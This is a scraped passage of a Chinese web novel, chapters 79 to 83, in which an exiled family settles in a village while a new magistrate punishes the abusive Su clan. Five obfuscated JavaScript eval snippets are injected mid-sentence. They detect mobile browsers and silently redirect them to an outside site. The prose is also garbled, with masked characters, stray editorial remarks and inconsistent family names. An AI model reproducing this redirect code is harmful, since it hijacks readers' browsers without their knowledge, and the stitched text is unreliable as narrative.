看着墨圆儿可爱的样子,宁芷薇心中涌起一股暖意。这一天虽然忙碌,但能救五哥脱离苦海,一切都值得。她伸手抚摸着墨圆儿的小脑袋,感受着它温暖的皮**。 秦远霄站在一旁,静静地看着这一幕。月光下,宁芷薇的侧脸柔和而温婉,与平日里雷厉风行的样子判若两人。他的心中泛起一丝异样的情绪,却又说不清道不明。 夜风送来远处的更声,打破了这片刻的宁静。宁芷薇抱起墨圆儿,转身对秦远霄说:“时候不早了,该休息了。” 秦远霄点点头,伸手为她拂去肩上的一片落叶。两人并肩走在月色下,影子在地上交织成一幅静谧的画卷。 墨圆儿敏锐地嗅到了熟悉的气息,一个箭步冲上前,紧紧抱住了宁芷薇的腿。它毛茸茸的小脑袋在主人腿上蹭来蹭去,发出欢快的呼噜声。 宁芷薇心中一暖,伸手轻抚小家伙的脑袋。墨圆儿的毛发柔软蓬松,触感舒适得让人不忍松手。“乖,先回营地,待会再好好抱抱。”她轻声哄道。 墨圆儿仰起头,圆溜溜的大眼睛里闪烁着不舍的光芒。它眨巴着眼睛看了看主人,又看了看营地的方向,似乎在权衡利弊。最终,小家伙还是乖巧地松开了爪子,但依然紧紧跟在宁芷薇脚边。 营地里,篝火映照出众人疲惫却放松的面容。宁芷薇从界阙取出湿巾,仔细擦拭着溅在衣服上的黑血。这些污渍若是不及时处理,很快就会凝固发臭。她一边擦拭,一边用余光观察着四周。 第七十九章 蒋承志似乎没有要走的意思,正和秦雪松说着什么。宁芷薇不由得和秦远霄交换了个眼神, 两人默契地朝那边走去。 夜风送来秦雪松爽朗的笑声,那笑声中带着几分难得的轻松。 “八哥这是遇到什么好事了?”秦远霄挑眉问道,语气中带着几分调侃。 秦雪松眉开眼笑,脸上的笑容比篝火还要明亮:“九弟,蒋兄弟说要请我去衙门当捕头。” 这个消息让宁芷薇也不禁露出笑容。捕头这个职位对八哥来说再合适不过,既能让他发挥武艺所长,又能维持稳定的生计。想到这里,她看向蒋承志的目光也多了几分感激。 “明日我就替八哥把户籍改回来。”蒋承志正色道。说着,他的目光落在了宁芷薇怀中的黑白团子上,眼中闪过一丝疑惑,“这是...” “这是五哥送我的食铁兽。”宁芷薇将墨圆儿抱得更紧了些,语气中带着几分防备。她能感觉到怀中的小家伙也绷紧了身子。 蒋承志的眉头微微皱起,面露担忧:“食铁兽长大后可是很危险的。我在京城见过一只成年食铁兽,那体型和力量...” 他的话还没说完,墨圆儿突然龇牙,发出低沉的警告声。当蒋承志伸手想要触摸它时,小家伙立刻张开嘴,朝着那只手就要咬去。 “墨圆儿!”宁芷薇连忙后退一步,将小家伙抱离蒋承志的手掌。她板起脸,故作严厉道,“再这样我可不要你了。” 这句话仿佛戳中了墨圆儿的软肋,小家伙立刻蔫了下来,耷拉着脑袋趴在主人肩头。那委屈巴巴的模样惹得众人哈哈大笑。 “好了好了,”秦远霄笑着打圆场,“墨圆儿这是在护主呢。” 正说笑间,大嫂的声音从营地另一头传来:“饭好了,都来吃吧!” 今日的晚餐格外丰盛。大铁锅里冒着腾腾热气,五哥打来的狍子肉被包成了水饺,香气四溢。案板上还摆着几道开胃小菜,有凉拌的野菜,也有腌制的萝卜。 虽然只能席地而坐,但这样的氛围反而让人倍感亲切。段家和梁家也送来了几道拿手菜,一同款待县令大人。墨圆儿蹲在宁芷薇身边,时不时用期待的眼神看着案板上的菜肴。 用过晚饭,蒋承志带着衙役去了村中央,准备召集村民议事。消息很快传开,杨家吴家的人闻讯赶来,苏家人也陆续到场。夜色渐深,但村中央的空地上却渐渐热闹起来。 篝火映照着众人的脸庞,有期待的,有忐忑的,也有带着几分警惕的。宁芷薇站在营地边缘,看着渐渐**的人群。墨圆儿依偎在她怀里,似乎感受到了主人的情绪,轻轻蹭着她的手臂。 夜风吹拂,带来远处的虫鸣声。宁芷薇抬头望向天空,繁星点点,月光如纱。她知道,从今晚开始,这个村子将迎来新的变化。而她,也将和家人们一起,面对接下来的挑战。 蒋承志站在人群中央,清了清嗓子。周围的议论声渐渐平息,所有人的目光都**在这位年轻的县令身上。空气中弥漫着一种微妙的紧张感,仿佛在等待什么重要的宣告。 宁芷薇怀中的墨圆儿突然竖起耳朵,警觉地望向村口的方向。远处传来马蹄声,似乎又有人赶来参加这场夜晚的议事。她轻轻抚摸着小家伙的后背,感受着它绷紧的肌肉渐渐放松下来。 篝火噼啪作响,照亮了这个注定不平凡的夜晚。 夜色渐浓,东麓村的空地上,跪着的苏家族人已经腿脚发麻。寒风呼啸,吹得他们衣袍猎猎作响,却无人敢动弹半分。 苏里正偷偷抬眼望向县衙的方向,布满皱纹的脸上写满焦虑。他双膝隐隐作痛,冷汗顺着额头缓缓滑落。这位新来的县令大人,怎么还不离开? 身旁的族人们个个面露疲态,有几个年纪大的已经开始微微发抖。苏里正心中暗叹,他们从未受过这般折磨。往日里,谁见了苏家人不是毕恭毕敬?如今却要在这寒风中跪上一整天。 “爹...”小儿子苏瑞小声唤道。 苏里正轻轻摇头,示意他不要说话。虽说县衙离这儿有段距离,但谁知道那位县令大人会不会突然派人来查看? 月光渐渐爬上枝头,苏里正实在撑不住了。他环顾四周,确认无人监视后,才低声道:“都起来吧,回家去。” 族人们如蒙大赦,正要站起身,忽然一阵急促的锣声划 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481939|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 破夜空。 “县令大人有令,全村百姓速来集合!” 这声音如同一记惊雷,炸得苏里正两腿发软。若不是两个儿子眼疾手快地搀扶,他险些跌倒在地。 “爹,您没事吧?”大儿子苏昭扶着他的胳膊,关切地问。 苏里正脸色惨白,嘴唇微微发抖:“完了完了...莫非是要治我们不敬之罪?” 他恨恨地想着那个不争气的侄子苏允。身为县丞,竟连县令大人来村的消息都不提前通知一声,这不是坑害自家人吗? 四周响起嘈杂的脚步声,村民们陆续**而来。有人提着油灯,昏黄的光芒照亮了空地。苏里正注意到杨家吴家的人神色异样,不由得心头一紧。 蒋承志负手而立,目光如刀般扫过众人。他身着官服,腰板挺直,浑身上下散发着不怒自威的气势。 “本官初到宁远,便接到一桩令人发指的案子。”他的声音不疾不徐,却让在场所有人心惊肉跳。 苏里正双腿发软,强撑着不让自己跪下。他看到杨临风和吴家几个年轻人交换眼色,心中更是忐忑不安。 “苏县丞仗势欺人,纵容族人为非作歹,本官已将其革职查办。” 这话一出,苏里正只觉天旋地转。他们苏家这些年仗着苏允的势力,横行霸道,如今东窗事发,怕是要株连九族。 “来人,将苏里正拿下,押入大牢候审。” 一群衙役火速冲了过来,麻绳捆得苏里正手腕生疼。他想挣扎,却被死死按住。 “爹!”苏昭苏瑞想要上前,却被官差一脚踹开。 苏家人顿时慌了神,纷纷跪地求饶:“大人饶命!冤枉啊!” 几个喊得最响的,立刻被官差踢了几脚。杨家吴家的人看在眼里,眼中闪过快意。这些年被苏家欺压的苦,终于有了出头之日。 杨临风第一个站了出来,他身形挺拔,声音洪亮:“请县令大人为我东麓村百姓做主!” 这一声仿佛捅破了那层压抑多年的窗户纸。越来越多的人跟着喊起来:“求大人为民做主!” 蒋承志目光如炬:“有冤屈的,都可上前诉说。” 第八十章 杨临风拉着父亲杨霖上前跪下。杨霖满脸沧桑,眼中含泪:“大人,我们杨家吴家这些年,活得连牲口都不如...” 他颤抖着声音,将苏家如何强迫联姻、霸占良田、横征暴敛的事一一道来。那些被掩埋多年的伤痛,此刻如决堤的洪水般倾泻而出。 “去年,苏家看中我家地里的好田,硬说是祖上留下的,要我们交出去...” “前年,我家女儿被苏家二房的儿子看上,他们直接闯进门,说要娶进门...” “大人,我们家的牛被他们抢去,说是借用,至今未还...” 吴家族长也跟着作证,两家族人齐声哭诉。每一桩事都有证据,每一件冤屈都令人发指。 听着这些控诉,蒋承志胸中怒火难抑。他大步走向苏家人,抬脚便踢。 苏家几个男丁被踢得哀嚎不已,却不敢还手。他们心中暗恨,这些年横行霸道惯了,如今遭此羞辱,岂能善罢甘休? “等着瞧吧,”苏昭咬牙切齿地想,“待县令一走,定要让赵周两家付出代价!” 夜色更深,空地上的哭诉声、怒骂声此起彼伏。这个不平静的夜晚,注定要在东麓村的历史上留下浓墨重彩的一笔。 苏家人被踢倒在地,眼中迸射出凶狠的光芒,火把的光影下,他们的面容扭曲得如同恶鬼。 “你们这些狗东西,给我等着!”一个苏家男丁咬牙切齿地低吼,声音里充满了不甘与怨毒。 宁芷薇站在一旁,看着这群昔日嚣张跋扈的苏家人如今狼狈不堪的模样,心中泛起一丝冷意。她的目光扫过周围,注意到不少村民眼中都闪烁着复杂的情绪,有畏惧,有解气,更多的是难以置信。 “啪!”一声清脆的皮鞭声划破夜空。 蒋承志手持马鞭,神色冷峻:“放肆!见了本官还敢出言不逊?”他转头看向身边的衙役,“来人,给这几个不知好歹的苏家男丁每人十大板。若有不服者,加倍伺候!” 衙役们闻言立即上前,其中几个面色尤为难看的衙役动作格外积极。宁芷薇认出他们正是之前在苏允手下当差的人,没少帮着苏家欺压百姓,如今见风使舵的本事倒是练得炉火纯青。 “卢老五,你这个忘恩负义的狗东西!”一个苏家人破口大骂,“当初喝我们家酒的时候叫得多亲热,现在翻脸不认人了?” 被唤作卢老五的衙役闻言,手上的力道更重了几分,板子“啪啪”落下,打得那人哀嚎不已。 “再敢多嘴,老子打死你!”卢老五咬牙切齿地说。 其他苏家人见状也纷纷叫骂起来,换来的却是更重的板子。火光映照下,他们的影子在地上扭曲晃动,如同一场荒诞的默剧。 十板子很快打完,苏家人疼得龇牙咧嘴,再不敢嚣张。有几个年轻力壮的还能勉强站起来,年纪大些的只能瘫坐在地上,脸色惨白。 蒋承志吩咐衙役严加看管苏家人,随后叫来赵周两家族长。夜风吹动他的官服,显得威严肃穆。 “苏家作恶多端,本官需要详细的状纸。你们可有识字之人?” 人群中响起一阵窃窃私语,目光纷纷投向一个年轻人。那年轻人看上去十六七岁的样子,面容清秀,虽然衣着朴素,却透着几分书生气。 他从人群中走出来,对蒋承志行礼:“学生杨临风,愿意执笔。” “你已经是个有身份的人了?”蒋承志问道。 “回大人,学生前阵子混到功名了。”杨临风不卑不亢地答道。称呼不搭 宁芷薇有些惊讶。在这样一个贫困的村子里,竟然出了个秀才。她仔细打量着杨临风,发现这少年虽然衣着朴素,但举止间透着一股书卷气,显然是真才实学。 蒋承志显然也有同样的疑问:“据闻你们两家生活困难,如何能供得起一位秀才?” 杨临风低头沉默片刻,声音有些哽咽:“回大人,是族人们集资供学生读书。大家虽然日子过得艰难,但都说要供出一个读书人,将来也好为乡亲们做主。” 宁芷薇听了不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481940|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 禁动容,看向周围的村民,只见他们脸上都露出自豪的神色。这些质朴的村民,虽然贫苦,却懂得知识改变命运的道理。 “好,你后日一早将状纸送到县衙。”蒋承志点头道,眼中闪过一丝赞许。 随后,他又问两位族长:“本官今日就罢免苏家里正一职,你们可有合适人选?” 宁芷薇注意到两位族长的表情变化。杨族长眼中闪过一丝期待,但很快又黯淡下来,偷偷看了眼吴族长。吴族长则低着头,手指不自觉地绞在一起。显然,这个位置他们都很心动,却又顾忌彼此的关系。 “就由杨族长担任吧。”蒋承志很快做出决定。 吴族长只是愣了一下,便向杨族长道贺:“恭喜杨大哥。”语气真诚,没有丝毫勉强。宁芷薇暗暗点头,这两家的关系果然不错。前后不一致 杨族长连连摆手:“这哪是什么好事,反倒要多操心了。” 接下来谈到租房的事。杨家有两处院子,吴家有一处,正好够秦家、梁家和段家三家人住。 “这几处院子都空着呢,”杨族长解释道,“本来是给儿孙们准备的,可惜......”他说到这里,声音低了下去。 吴族长接过话头:“都是些破房子,住着委屈你们了。” 秦远霄笑道:“有劳两位族长了。咱们先去看看?” 一行人沿着村里的土路往前走。月光洒在泥泞的路面上,映出斑驳的光影。宁芷薇注意到,路边的房屋大多低矮破旧,但打扫得很干净。 第一处院子在村子东头,是杨家的。推开吱呀作响的木门,院子里杂草丛生,但基本结构还算完整。 “这院子闲置有些年头了,”杨族长不好意思地说,“改天我叫人来收拾收拾。” 秦远霄仔细查看了房屋,道:“房子还不错,就是要修补一下。” 第二处院子在村子中间,也是杨家的,比第一处要大些,但屋顶有些漏雨。吴家的院子在村子西头,虽然小些,但保养得最好。 第八十一章 看完三处院子,大家回到村口商议。夜已深了,但村民们都没走,都想知道这些外来户会住在哪里。 “秦老九,你们看中哪处?”杨族长问道。 秦远霄看向宁芷薇,见她点头,便道:“我们就住东头那处吧。” 梁家选了吴家的院子,段家则住进了中间那处。租金都很便宜,远低于镇上的行情。 安顿好住处,蒋承志带着衙役们离开了。临走前,他意味深长地看了眼被押走的苏家人:“本官会好好审问他们的。” 村民们也渐渐散去,只留下赵周两家的人帮忙收拾院子。宁芷薇站在院子里,看着月光下忙碌的身影,心中涌起一丝暖意。 或许,这里真的能成为他们的新家。 夜风吹过,带来泥土的芬芳。远处传来几声犬吠,还有晚归的鸟儿扑棱着翅膀。这个饱经苦难的村子,似乎正在迎来新的希望。 宁芷薇跟着秦远霄走在杨族长身后,目光不由自主地打量着四周。与苏里正家那光鲜亮丽的砖瓦房相比,这里的房屋显得格外朴素。 土坯墙虽有些斑驳,却也修补得当,看得出主人家的用心。路边偶尔能看到几株野生的蒲公英,在微风中轻轻摇曳,为这贫瘠的土地增添了一抹生机。 “这些房子都是我们祖辈留下来的。”杨族长的脚步放缓,目光中带着几分追忆,“虽说不如城里的房子气派,但住着踏实。” 宁芷薇注意到路边几个正在玩耍的孩童,见到他们经过时,都会乖巧地喊一声“族长”。这让她心里稍稍安定,至少这里的人看起来都很和善。 “这栋祖传老房子。”杨族长指着前方一处围墙较矮的院落,语气中带着几分怀念,“后来孩子们都大了要成家,这里住着拥挤,我们就搬去了雅园。” 宁芷薇悄悄拉了拉秦远霄的衣袖,两人默契地走进院内查看。推开略显陈旧的木门,扑面而来的是一股淡淡的草木清香。 院子里正房三间,左右厢房一共四间,后院还有半亩菜地,布局紧凑却不显狭窄。院墙边种着几株葡萄,虽然现在还光秃秃的,但想必到了夏天,这里会是一片绿荫。 “这院子朝南,采光很好。”杨族长指着正房的窗户说道,“冬天晒得到太阳,夏天又不会太晒。” 秦远霄仔细查看着房屋的墙壁和门窗,时不时用手轻敲几下,似乎在测试结实程度。宁芷薇见状,也跟着在院子里转了一圈。 正房的地面虽然有些不平,但打扫得很干净。厢房的门框上还能看到一些细微的雕刻痕迹,想必是前主人家留下的。后院的菜地虽然现在荒芜,但土质看起来不错。 “虽说房子年头久了些,但墙体结实,冬天住着暖和。”杨族长笑呵呵地介绍道,眼角的皱纹里藏着几分真诚。 宁芷薇注意到秦远霄并未表态,心下了然。眼下能租的院子就这么几处,再挑剔也是无用。她轻轻叹了口气,想起之前在京城时住的那处宅院,心里不免有些酸涩。 “杨族长,咱们去看看另一处吧。”她轻声提议,努力压下心中的不适。 杨族长连忙唤来族人杨禄带路。这位杨禄看起来四十出头,脸上总是带着憨厚的笑容。一路上,他热情地介绍着村里的情况。 “我们这虽然是穷乡僻壤,但地里种的菜都是自己吃的,保准没有那些乱七八糟的东西。”杨禄说着,还不忘指着路边的一片菜地,“您看,这就是我家的地,种的都是本地品种,好吃得很。” 第二处院子的格局与第一处相仿,只是房屋保养得更好些。院子里还有一棵老梨树,虽然现在光秃秃的,但树干粗壮,想必到了春天会开满白花。 “这院子之前住的是我三叔家。”杨禄解释道,“去年搬去镇上了,房子一直空着。” 宁芷薇走进正房,发现窗户都是新换的纸,地面也比第一处院子平整。她转头看向秦远霄,发现他正站在院子中央,目光若有所思。 “两位,这两处院子每月租金二百文,您看如何?”杨族长小心翼翼地试探道,生怕这个价格吓到他们。 宁芷薇心中一喜,这个价格确实便宜。想到驿馆一晚就要一百文,这么大的院子一个月才二百文,实在是再划算不过。她看向秦远霄,等待他的决定。 “两处我们都租了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481941|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”秦远霄开口道,声音平静,“等看过吴家的院子再详谈。” 杨族长脸上顿时笑开了花,连连点头。一旁的杨禄也笑得见牙不见眼,看来是对这个结果很满意。 吴族长闻言立刻凑上前来,主动带路前往自家院子。这一路上,宁芷薇注意到路边的房屋逐渐变得整齐,看来是进入了吴家的地界。 “我们吴家的院子可是村里最大的。”吴族长边走边说,语气中带着几分自豪,“当年我爷爷在的时候,可是能同时住下三代人呢。” 果然,吴家的院子一出现在眼前,就让宁芷薇惊叹不已。正房六间,厢房各两间,后院还有整整一亩菜地。最难得的是院中还有一口水井。 “这口井是我爷爷那辈打的。”吴族长拍着井台说道,“水质好得很,冬天不会结冰,夏天还特别凉快。” 宁芷薇走到井边,探头往下看去。井水清澈见底,水面倒映着她略显疲惫的脸庞。有了这口井,日常用水就不用发愁了。 “这院子大些,月租三百文。”吴族长报出价格时,语气中带着几分忐忑,生怕把价格说高了。 “成交。”秦远霄干脆利落地应下,这让吴族长明显松了一口气。 宁芷薇心中一动,看来夫君也相中了这处院子。她又看了看院子里的布局,心里已经在盘算着该如何安排。 “我们今晚就搬进来。”秦远霄又道,语气中带着不容置疑的坚定。 得到两位族长的应允后,夫妻二人立即返回山脚下的临时营地。一路上,宁芷薇的心情逐渐轻松起来。虽然这里比不上京城,但至少有了安身之所。 五哥虽然还有些虚弱,但在五嫂的照料下已无大碍。大家得知租下了小院,都露出欣喜的神色。经过商议,段家和梁家分别租下杨家的两处院子,吴家这处最大的院子则留给了秦家。 “这样也好,大家住得近些,有什么事也好照应。”五嫂一边收拾行李一边说道,脸上的疲惫中带着一丝欣慰。 宁芷薇帮着整理东西,看着大家忙碌的身影,心中涌起一丝暖意。虽然是被流放,但至少他们还能相互扶持。 第八十二章 夜色渐深,众人各自背起简单的行李,向着新家进发。月光下,他们的影子被拉得很长,却也渐渐融为一体。这一路的颠沛流离,总算暂时告一段落。 一行人浩浩荡荡地向村子走去,墨圆儿亦步亦趋地跟在宁芷薇身后,时不时用湿漉漉的鼻子蹭蹭她的裙角,仿佛在确认主人的存在。 山间的风裹挟着泥土和青草的气息,吹散了一路的疲惫。宁芷薇看着这只忠心的小家伙,嘴角不自觉地扬起一抹温柔的弧度。但转念想到村中人多眼杂,她的眉头微微蹙起,放慢脚步落在队伍后方。 “墨圆儿,先委屈你一下。”她蹲下身,轻轻抚摸着小家伙的脑袋,“等安顿好了,我再带你出来玩。” 墨圆儿似乎听懂了主人的话,乖巧地蹭了蹭她的手心。宁芷薇手一挥,将它收入界阙。此时大家都忙着搬家,想必不会有人注意到墨圆儿的消失,就算有人问起,也可以说它跑出去玩了。 远处,杨族长和吴族长已带着族人在各自的方向等候。看到这么多人浩浩荡荡而来,两位族长连忙迎上前去,脸上堆满了热情的笑容。 “这位是杨族长,这位是吴族长。”秦远霄走在最前面,为段家和梁家人介绍道。他的声音清朗,带着一丝疲惫,却依旧保持着该有的礼数。 段家和梁家人早就知道要租杨家的院子,便直接找杨族长商议房租的事。杨族长不时点头,脸上的笑容愈发真诚。 “吴族长,您看咱们房租付几个月比较好?”秦远霄和宁芷薇来到吴族长面前,语气恭敬。 吴族长眼角的皱纹舒展开来:“你们从京城来,路上花销不少,按月付租就成。这山里地方虽然简陋,但住着安生。” 这话让秦远霄和宁芷薇心中一暖。想当初在盐泊租房,房东至少要三个月的租金,若不是房租给得多,恐怕连一间房都租不到。那时的冷眼和刁难,此刻想来恍如隔世。 “九弟妹,让我们来付房租吧。”五嫂扶着五哥走过来,脸上带着些许疲惫,“你五哥在山里打野货存了点钱。” 五哥咳嗽了两声,从怀中掏出一个布袋,倒出几块碎银子,颤抖的手挑了一块递给吴族长。宁芷薇看着五哥苍白的脸色,心中一阵酸涩。 吴族长接过银子,在手中仔细掂量:“这银子明日让人去城里称一称,多退少补。”他的态度认真,丝毫不敢马虎。 “老人家,剩下的钱您买点肉补补。”宁芷薇笑道,声音温和 “那可不成,租房就得公平公正。”吴族长坚持道,眼神坚定,“我们山里人穷,但不贪便宜。” 见老人家如此认真,宁芷薇也不再坚持:“天色不早了,我们先去收拾院子,您早点歇着吧。” 吴族长点点头,还特意叫来几个年轻人帮忙搬东西。这些年轻人身强力壮,三两下就把大家的行李搬进了院子。 到了住处,秦老夫人亲自安排房间。她的目光扫过每个人的脸庞,仔细考虑着各人的情况。最终,她住进正房主屋,秦瑾高夫妻、秦雪松夫妻和秦远霄夫妻各占一间,三嫂独居一间,其他嫂嫂们主动要求住在一起。 秦雨澜被安排在东厢房,庞勇等人则住进西厢房。院子虽然不大,但胜在整洁,青石板铺就的地面虽有些年头,却也干净利落。 五哥看着房间里的冰凉空气,正要去打柴,秦远霄和秦雪松刚要阻拦,院外就传来脚步声。 两个吴家汉子挑着柴火来到门前,汗水顺着他们的脸颊滑落:“族长让我们送些柴来,黑灯瞎火的上山不安全。这山路黑漆漆的,外人容易迷路。” 宁芷薇连忙取出铜钱要给,却被两人婉拒:“山里的柴,不用给钱。”说完,两人转身就走,脚步声渐渐远去。 秦远霄和宁芷薇相视一笑,心中感慨村里人情冷暖的差异。这份朴实的善意,让他们想起了在盐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481942|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泊时的艰难岁月。 大家忙着生火打扫,直到深夜才安顿下来。屋内的炭火将寒意驱散,墙上的灯影摇曳,映照着疲惫却满足的脸庞。 秦远霄和宁芷薇回到房间,直接进入界阙。墨圆儿一见到主人,立刻欢快地扑了上来,尾巴摇得像个拨浪鼓。 宁芷薇陪墨圆儿玩了会儿,看着它在界阙里撒欢,心中的疲惫也消散了几分。等到墨圆儿玩累了,她才去洗漱。躺在床上,她很快就睡着了,呼吸绵长而均匀。 秦远霄看着妻子疲惫的睡颜,轻轻吻了吻她的额头。山里的夜格外静谧,只有虫鸣声细细碎碎地传来,他也渐渐沉入梦乡。 天刚蒙蒙亮,两人就醒来,带着墨圆儿离开界阙。此时庞勇等人已去砍柴,嫂嫂们也开始准备早饭。院子里飘着淡淡的烟火气,灶台上的锅里冒着热气,勾起了大家的食欲。 五嫂正在灶台前忙碌,看到宁芷薇出来,连忙招呼:“九弟妹,快来吃早饭。”她的脸上带着疲惫,却依然挂着温柔的笑容。 宁芷薇走到灶台前,帮五嫂添了些柴火。灶膛里的火焰跳动着,映红了两人的脸庞。远处传来鸡鸣声,新的一天就这样开始了。 清晨的阳光洒满院落,宁芷薇倚在门框上,看着院子里忙碌的身影。几个妇人正在晾晒衣物,孩童们追逐打闹,欢声笑语不断。经过这段时日的奔波,总算有了安定的感觉。 微风拂过,带来远处炊烟的气息。她不自觉地深吸一口气,仿佛要将这份难得的宁静牢牢记住。 “娘子,你在想什么?”秦远霄不知何时来到她身边,温柔的声音里带着一丝关切。 宁芷薇转头,对上那双含笑的眼眸:“看大家都忙得热火朝天的,心里很踏实。”她顿了顿,“就是不知道这样的日子能持续多久。” “有我在,定会让你过上安稳的日子。”秦远霄轻声说道,目光中满是柔情。 第八十三章 院子里传来阵阵饭香,李婶正在灶间忙活。她是村里有名的好厨子,这些天一直帮着照料众人的饮食起居。 “李婶,今日又做了什么好吃的?”宁芷薇走近问道。 “芷薇来得正好,”李婶笑眯眯地掀开锅盖,“特意做了你爱吃的红烧肉,再炒两个时令青菜,保管让你吃得满意。” 饭菜很快就准备好了。众人围坐在一起,享用这顿丰盛的早餐。八哥一边吃着,一边跟大家商量上山的事。 “今天得去山上看看地形,”八哥放下碗筷,“这山上的路径得摸清楚,免得日后有什么意外。” 庞勇点头附和:“是该去看看,听说山上野兽不少,得提前做好准备。” 秦远霄本想一同前往,却想起今日要陪宁芷薇去见威廉,帮他寻找修船的师傅。看着身边那抹倩影,他哪舍得让她独自前往。 “八哥,今日我就不去了,”秦远霄说道,“我得陪芷薇去趟县城。” “也好,你们路上当心。”八哥叮嘱道。 待到辰时过后,秦远霄和宁芷薇这才驾着骡车出发。初夏的阳光已经有些炙热,但树荫下还算凉爽。骡车缓缓行驶在乡间小路上,两旁的麦田随风起伏,一派丰收在望的景象。 刚行至村中央,便遇见了正往村口走的杨临风。他手里拿着几张纸,看样子是要去县衙。 “杨秀才这是要去哪?”秦远霄主动打招呼。 杨临风闻声回头,脸上立即露出笑容:“是秦九哥啊,您别叫我杨秀才了,叫我泽川就好。”他的目光不经意扫过宁芷薇,又很快移开。 “要去县城?” “是啊,想把状纸提前送到县衙。”杨临风有些犹豫地看了看骡车,“不知能否搭个顺风车?” “上来吧,我们也是去县城。”秦远霄往旁边挪了挪,给杨临风腾出位置。 宁芷薇坐在一旁,默默观察着这个年轻的秀才。他看起来二十出头,眉目清秀,举止温文尔雅,倒是很符合读书人的气质。 一路上,秦远霄询问起山脚下那片废弃房屋的事。那里地势平坦,靠近水源,本是个不错的居住地,不知为何会荒废。 “那些都是我们杨家和吴家的老宅。”杨临风叹了口气,眼中闪过一丝落寞,“十几年前苏家来此,用他们的荒地换走了我们的良田,我们也就不再管那些地了。” “那些房子能卖吗?”秦远霄直接问道。 杨临风神色一凛,语气变得谨慎:“秦九哥是想在那里建房?恐怕不太合适。” “为何?” “那里常有蛮夷出没,专门**粮食。我们几家才会搬到现在这里,还修了高墙防备。”说到这里,杨临风的声音低了几分,“每年都有人被抢,有时还会...”他没有说下去,但神情已经说明了一切。 秦远霄闻言轻笑:“蛮夷不足为惧,我更关心那些院子能否买下。” 宁芷薇听出丈夫话中的自信,心中一暖。自从认识他以来,他总是能给人一种安全感,仿佛有他在,就没有解决不了的问题。 杨临风想了想:“这事倒是可以商量,只是价格怕是不能按荒地算。毕竟地契还在,房子虽然破旧,但地基和围墙都还在。” “价钱好说,”秦远霄点头,“等回来我们细谈。” 骡车继续向前,渐渐驶入县城。街道两旁店铺林立,来往行人络绎不绝。各种叫卖声此起彼伏,市井气息浓厚。 突然,前方传来一阵骚动。官府大门口挤满了看热闹的老百姓,几个官差正在维持秩序。人群中不时传出愤怒的声音,似乎在**什么 杨临风向秦远霄道谢后,便拿着状纸匆匆走向人群。他的背影很快就淹没在人海中。 “这是怎么了?”宁芷薇好奇地问道。 秦远霄摇摇头:“不知道,我们先去找威廉吧,等回来再打听。” 他们将骡车停在路边,步行往码头方向走去。街道两旁的店铺已经开始营业,各种香味飘散在空气中。宁芷薇看着熙熙攘攘的街景,心中不禁感慨,这里的生活气息比她之前见过的任何地方都要浓郁。 走了约莫一刻钟,终于看到了码头的轮廓。几艘商船停泊在岸边,水手们正在搬运货物。威廉的船就在最外侧,船身略显破旧,但规模不小。 “威廉! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481943|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”秦远霄远远地喊道。 一个金发碧眼的外国人闻声抬头,看到是他们,立即露出热情的笑容:“秦!你们来得正好,我正要派人去找你们呢!” 秦远霄勒住缰绳,骡车在县衙门前稳稳停下。初夏的阳光透过树叶斑驳地洒在地上,衙门前的青石板被晒得发烫。 他转头看向车厢里的宁芷薇,声音里带着几分调侃:“要不要下来看看热闹?” 